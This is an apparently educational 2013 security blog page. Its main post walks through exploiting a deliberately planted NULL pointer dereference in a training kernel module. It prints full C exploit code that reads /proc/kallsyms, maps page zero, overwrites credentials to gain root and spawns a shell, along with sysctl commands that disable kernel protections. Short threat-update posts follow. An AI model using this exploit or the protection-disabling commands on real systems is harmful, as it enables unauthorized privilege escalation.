Saturday, June 29, 2013

Software flaw #4: NULL pointer dereference

Description of NULL pointer dereference can be found here and here.

For purposes of learning kernel exploitation techniques I've started project libdojang. It is simple framework (composed of kernel module & userspace library) that can aid process of understanding how the kernel exploitation works. It is work in progress and I plan to introduce new types of vulnerabilities into the module to learn new exploitation methods.

I will start from simplest case of NULL pointer dereference (direct call/jmp dereference).

Vulnerability

Kernel module from libdojang (snippet of module/dojang.c file):

[...]
else if(cmd == DOJANG_NULLDEREF_CALL) { [1]
struct Ops {
ssize_t (*do_it)(void);
};
static struct Ops *ops = NULL; [2]

printk(KERN_INFO "[dojang] DOJANG_NULLDEREF_CALL ioctl\n");
return ops->do_it(); [3]
}
[...]

Code responsible for processing DOJANG_NULLDEREF_CALL ioctl starts at [1]. At [2] Ops struct pointer that points to NULL is created. At [3] attempt to call do_it() using NULL pointer is made.

Exploit

File from libdojang (exploits/nullderef.c):

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <dojang.h>

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
__attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
__attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
void *addr;
int ret;

while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
if (!strcmp(sym, name))
return addr;
return NULL;
}

void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}

int main()
{
void *res;

if(dojangInit() < 0) {
printf("[-] failed to initialize dojang.\n");
return 1;
}

prepare_kernel_cred = get_ksym("prepare_kernel_cred"); [1]
commit_creds = get_ksym("commit_creds");

if (!(prepare_kernel_cred && commit_creds)) {
fprintf(stderr, "Kernel symbols not found. "
"Is your kernel older than 2.6.29?\n");
return 1;
}

res = mmap(0, 4096, PROT_READ|PROT_WRITE, [2]
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(res == MAP_FAILED) {
printf("failed to mmap 0 page\n");
return 1;
}

void (**fn)(void) = NULL; [3]

*fn = get_root;

// trigger null pointer dereference in kernel
dojangNullderefCall(); [4]

dojangClose();

if (!getuid()) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL); [5]
}

printf("Something went wrong\n");

return 0;
}

As we can see above the vulnerability is exploited by changing cred struct (it's a structure that keeps permissions a current task has - uid, gid and so on) for current process and then executing sh. In order to accomplish that the exploit looks for addresses of prepare_kernel_cred and commit_creds functions in /proc/kallsyms file at [1]; mmaps 0-page at [2] and drops function pointer to our get_root() function at NULL at [3]. Finnaly it triggers NULL pointer dereference [4] which invokes in kernel mode our get_root() function which changes our's process credentials. So executed shell at [5] has uid 0.

Limitations

1) In practice such simple cases are not exploitable anymore due to protections implemented in Linux kernel:
vm.mmap_min_addr
kernel.kptr_restrict

So make sure to turn these protections off when trying above exploit:

# sysctl vm.mmap_min_addr=0
# sysctl kernel.kptr_restrict=0

2) Works on x86 architecture only.

3) Kernel 2.6.29 or newer is required (older kernels doesn't support prepare_kernel_cred & commit_creds functions)

Mitigation

See the links above describing NULL pointer dereference vulnerability.

Wednesday, June 19, 2013

Threat update #6

Internet census experiment showed us all how easy it is to create a botnet. AusCERT further analyzed data available from the experiment..

Key facts:
1) there is ~8.88 vulnerable devices per 100 class C ranges out there;
2) scanning 10 IPs/sec would take 4.78 minutes to find such device;
3) due to huge number of such unprotected devices (~1.2 million) available, it could pose threat similar to one with open DNS resolvers issue (threat update #4).

Wednesday, June 12, 2013

Threat update #5

Some network attacks (with proposed countermeasures) that every security conscious organization should take into account in it's threat model.

Wednesday, June 5, 2013

Threat update #4

Some insights about ... "the largest known DDoS attack ever on the Internet" ... (according to New York Times), from ClouldFlare (service provider that helped mitigate the attack).

Some conclusions:
1) as this attack showed anycast technology seems to be very effective against this kind of attacks.
2) open DNS resolvers are nowadays threat number one when it comes to DDoS attacks (according to Open Resolver Project there are 28 million of resolvers that pose a significant threat).